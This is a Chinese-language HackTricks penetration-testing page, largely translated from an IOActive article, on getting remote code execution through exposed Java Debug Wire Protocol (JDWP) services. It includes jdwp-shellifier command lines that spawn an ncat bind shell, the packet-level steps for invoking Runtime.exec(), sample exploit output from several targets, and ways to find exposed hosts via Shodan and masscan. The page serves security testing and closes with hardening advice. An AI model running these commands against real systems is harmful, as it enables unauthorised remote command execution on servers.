# JDWP渗透测试 - Java调试线协议
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥 * 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
## Exploiting 你可以使用位于[https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)的Python漏洞利用工具。 ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` 我发现使用`--break-on 'java.lang.String.indexOf'`可以使攻击更加**稳定**。如果你有机会上传一个后门到主机并执行它,而不是执行一个命令,那么攻击将更加稳定。 通常,这个调试器在端口8000上运行,如果你与该端口建立一个TCP连接并发送“**JDWP-Handshake**”,服务器应该用相同的字符串回应你。此外,你可以在网络中检查这个字符串,以找到可能的JDWP服务。 如果在一个**java进程**中找到字符串“**jdwk**”,很可能它已经激活了**Java Debug Wired Protocol**,你可能能够进行横向移动,甚至**提升权限**(如果以root身份执行)。 ## 更多细节 **摘自**[**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) ### **Java Debug Wire Protocol** **Java Platform Debug Architecture (JPDA)**:JDWP是全球Java调试系统Java Platform Debug Architecture (JPDA)\[2]的一个组成部分。下面是整体架构的图示: [![](https://ioactive.com/wp-content/uploads/2014/04/jdpa.png)](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png) Debuggee由一个多线程的JVM组成,运行我们的目标应用程序。为了能够进行远程调试,JVM实例必须在命令行上显式地使用选项-Xdebug启动,并使用选项-Xrunjdwp(或-agentlib)。例如,启用远程调试的启动Tomcat服务器的命令如下: [![](https://ioactive.com/wp-content/uploads/2014/04/tomat.png)](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png) 如架构图所示,Java Debug Wire Protocol是调试器和JVM实例之间的中央链接。关于该协议的观察结果包括: * 它是一个基于数据包的网络二进制协议。 * 它大多是同步的。调试器发送一个命令到JDWP,并期望接收到一个回复。然而,一些命令(如事件)不需要同步响应。它们会在特定条件满足时发送一个回复。例如,断点是一个事件。 * 它不使用身份验证。 * 它不使用加密。 所有这些观察结果都是合理的,因为我们谈论的是一个调试协议。然而,当这样的服务暴露在敌对网络上,或者面向互联网时,事情可能会出错。 **握手**:JDWP规定\[9]通信必须通过简单的握手来初始化。成功建立TCP连接后,调试器(客户端)发送14个字符的ASCII字符串“JDWP-Handshake”。调试对象(服务器)通过发送完全相同的字符串来响应该消息。以下是scapy\[3]跟踪显示的初始双向握手: root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run\_scapy Welcome to Scapy (2.2.0-dev)\ **>>>** sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)\ \\ **>>>** tcp.hexraw()\ 0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S\ 0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\ 0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\ 0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\ **0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\ 0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\ 0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\ 0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw\ **0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\ 0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A 有经验的安全审计员可能已经意识到,这样一个简单的握手提供了一种在互联网上轻松发现活动的JDWP服务的方法。只需发送一个简单的探测包,并检查特定的响应。更有趣的是,在使用ShodanHQ\[4]扫描时,观察到了IBM Java Development Kit的行为,服务器首先与上述相同的横幅进行“对话”。因此,完全 passively 发现活动的JDWP服务是可能的(本文稍后将介绍如何使用著名的Shodan进行)。 **通信**:JDWP定义了调试器和调试对象之间的通信所涉及的消息\[10]。这些消息遵循一个简单的结构,定义如下:
长度和ID字段相当明显。标志字段仅用于区分请求数据包和回复数据包,值为0x80表示回复数据包。CommandSet字段定义了命令的类别,如下表所示。\ \\ | **CommandSet** | \*\* Command\*\* | | -------------- | ---------------------------------------------------------------------------------------------------------------- | | 0x40 | JVM要执行的操作(例如设置断点) | | 0x40–0x7F | 向调试器提供事件信息(例如JVM已经触发了断点,并正在等待进一步的操作) | | 0x80 | 第三方扩展 | 考虑到我们想要执行任意代码,以下命令对我们的目的最有趣。 * VirtualMachine/IDSizes定义了JVM处理的数据结构的大小。这是nmap脚本jdwp-exec.nse\[11]无法工作的原因之一,因为该脚本使用了硬编码的大小。 * ClassType/InvokeMethod允许您调用一个静态函数。 * ObjectReference/InvokeMethod允许您调用JVM中实例化对象的函数。 * StackFrame/(Get|Set)Values提供了从线程堆栈中推送/弹出的功能。 * Event/Composite强制JVM对此命令声明的特定行为做出反应。该命令是调试目的的一个重要关键,因为它允许设置断点,在运行时通过线程进行单步调试,并在访问/修改值时以与GDB或WinDBG完全相同的方式收到通知。 不仅可以使用JDWP访问和调用已经驻留在内存中的对象,还可以创建或覆盖数据。 * VirtualMachine/CreateString允许将字符串转换为在JVM运行时中存在的java.lang.String。 * VirtualMachine/RedefineClasses允许安装新的类定义。 **“我们拥有你的JDWP”** 正如我们所见,JDWP提供了内置命令,可以将任意类加载到JVM内存中,并调用已经存在和/或新加载的字节码。下面的部分将介绍在Python中创建利用代码的步骤,该代码作为JDI前端的部分实现,以尽可能可靠。独立的利用脚本的主要原因是,作为渗透测试人员,我喜欢“一击必杀”的利用。也就是说,当我确定一个环境/应用程序/协议存在漏洞时,我希望立即准备好利用它的工具(即没有PoC,这基本上是迄今为止唯一存在的东西)。所以现在我们已经了解了理论知识,让我们进入实际实现。当面对一个开放的JDWP服务时,任意命令执行只有五个步骤之遥(或者使用这个利用,只需要一条命令行)。下面是具体步骤:1. 获取Java Runtime引用JVM通过引用来操作对象。因此,我们的利用必须首先获取对java.lang.Runtime类的引用。从这个类中,我们需要对getRuntime()方法的引用。这是通过获取所有类(AllClasses数据包)和我们正在查找的类中的所有方法(ReferenceType/Methods数据包)来完成的。2. 设置断点并等待通知(异步调用)这是我们利用的关键。为了调用任意代码,我们需要处于运行线程上下文中。为此,一个技巧是在已知在运行时调用的方法上设置断点。如前所述,JDI中的断点是一个异步事件,其类型设置为BREAKPOINT(0x02)。当命中时,JVM会向我们的调试器发送一个EventData数据包,其中包含我们的断点ID,更重要的是,命中它的线程的引用。
因此,将其设置在经常调用的方法上是个好主意,比如java.net.ServerSocket.accept(),每次服务器接收到新的网络连接时都很可能调用该方法。然而,必须记住它可以是运行时存在的任何方法。3. 在Runtime中分配Java String对象以执行有效载荷我们将在JVM运行时中执行代码,因此我们操作的所有数据(如字符串)必须存在于JVM运行时中(即具有运行时引用)。通过发送CreateString命令很容易实现这一点。
4. 从断点上下文中获取Runtime对象此时,我们几乎拥有了成功、可靠的利用所需的所有元素。我们缺少的是一个Runtime对象引用。获取它很容易,我们可以通过在JVM运行时中执行java.lang.Runtime.getRuntime()静态方法\[8],发送ClassType/InvokeMethod数据包并提供Runtime类和线程引用来实现。5. 在Runtime实例中查找并调用exec()方法最后一步就是在前一步获得的Runtime静态对象中查找exec()方法,并调用它(通过发送ObjectReference/InvokeMethod数据包),使用我们在第三步创建的String对象。
Et voilà!! 快速而简单。作为演示,让我们启动一个启用了JPDA“调试模式”的Tomcat: root@pwnbox:\~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start 我们执行脚本而不带任何要执行的命令,只是为了获取一般的系统信息: ``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 [+] Targeting ‘192.168.2.9:8000’ [+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’ [+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038 [+] Created break event id=2 [+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ## [+] Received matching event from thread 0x8b0 [+] Found Operating System ‘Mac OS X’ [+] Found User name ‘pentestosx’ [+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’ [+] Found User home directory ‘/Users/pentestosx’ [!] Command successfully executed ``` 相同的命令行,但针对Windows系统,并在完全不同的方法上中断: ``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’ [+] Targeting ‘192.168.2.8:8000’ [+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’ [+] Found Runtime class: id=593 [+] Found Runtime.getRuntime(): id=17977a9c [+] Created break event id=2 [+] Waiting for an event on ‘java.lang.String.indexOf’ [+] Received matching event from thread 0x8f5 [+] Found Operating System ‘Windows 7’ [+] Found User name ‘hugsy’ [+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’ [+] Found User home directory ‘C:Usershugsy’ [!] Command successfully executed ``` 我们执行我们的利用程序,在Linux系统上生成一个绑定shell,使用有效载荷“ncat -e /bin/bash -l -p 1337”: ``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’ [+] Targeting ‘192.168.2.8:8000’ [+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’ [+] Found Runtime class: id=79d [+] Found Runtime.getRuntime(): id=8a1f5e0 [+] Created break event id=2 [+] Waiting for an event on ‘java.net.ServerSocket.accept’ [+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’ [+] Command string object created id:82b [+] Runtime.getRuntime() returned context id:0x82c [+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d [!] Command successfully executed Success, we now have a listening socket! root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337 tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat tcp6 0 0 :::1337 :::* LISTEN 19242/ncat ``` 最终的攻击利用了这些技术,并添加了一些检查,并发送挂起/恢复信号,以尽可能少地造成干扰(最好不要破坏你正在工作的应用程序,对吧?)。它有两种模式: * “默认”模式完全不会干扰,只是执行Java代码以获取本地系统信息(非常适合向客户提供PoC)。 * 通过传递“cmd”选项,在远程主机上执行系统命令,因此更具侵入性。命令是使用JVM正在运行的特权执行的。 这个攻击脚本已成功测试过: * Oracle Java JDK 1.6和1.7 * OpenJDK 1.6 * IBM JDK 1.6 由于Java在设计上是跨平台的,可以在Java支持的任何操作系统上执行命令。对于我们渗透测试人员来说,这实际上是个好消息:**开放的JDWP服务意味着可靠的远程代码执行**。到目前为止,一切顺利。 ### **现实生活中的利用情况如何?** 事实上,JDWP在Java应用程序世界中被广泛使用。然而,在进行远程评估时,渗透测试人员可能不经常遇到它,因为防火墙通常会阻止它运行的端口。但这并不意味着JDWP在野外找不到: * 在撰写本文时,快速在ShodanHQ\[4]上搜索立即显示大约有40个服务器发送JDWP握手: ![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png) 这实际上是一个有趣的发现,因为正如我们之前所见,应该是客户端(调试器)发起对话。 * GitHub\[7]也显示了大量潜在易受攻击的开源应用程序: ![](https://ioactive.com/wp-content/uploads/2014/04/github.png) * 对互联网进行特定端口(tcp/8000、tcp/8080、tcp/8787、tcp/5005)的masscan扫描,发现许多主机(无法在此报告)响应了初始握手。 * 在野外发现了一些“企业”应用程序默认运行JDWP服务(查找实际端口号留给好奇的读者作为练习)。 这只是发现互联网上开放的JDWP服务的几种方法。这是一个很好的提醒,应用程序应定期进行彻底的安全审查,生产环境应关闭任何调试功能,并配置防火墙仅限制对正常操作所需的服务的访问。允许任何人连接到JDWP服务与允许连接到gdbserver服务完全相同(可能更稳定)。希望您喜欢阅读本文,就像我喜欢玩JDWP一样。祝所有强大的海盗们,快乐的JDWP控制!! **感谢**\ \ 我要感谢Ilja Van Sprundel和Sebastien Macke的想法和测试。 ### **参考资料:** 1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) 2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) 3. http://www.secdev.org/projects/scapy(不再活跃) 4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) 5. http://www.hsc-news.com/archives/2013/000109.html(不再活跃) 6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) 7. https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults 8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) 9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com) 10. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) 11. [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**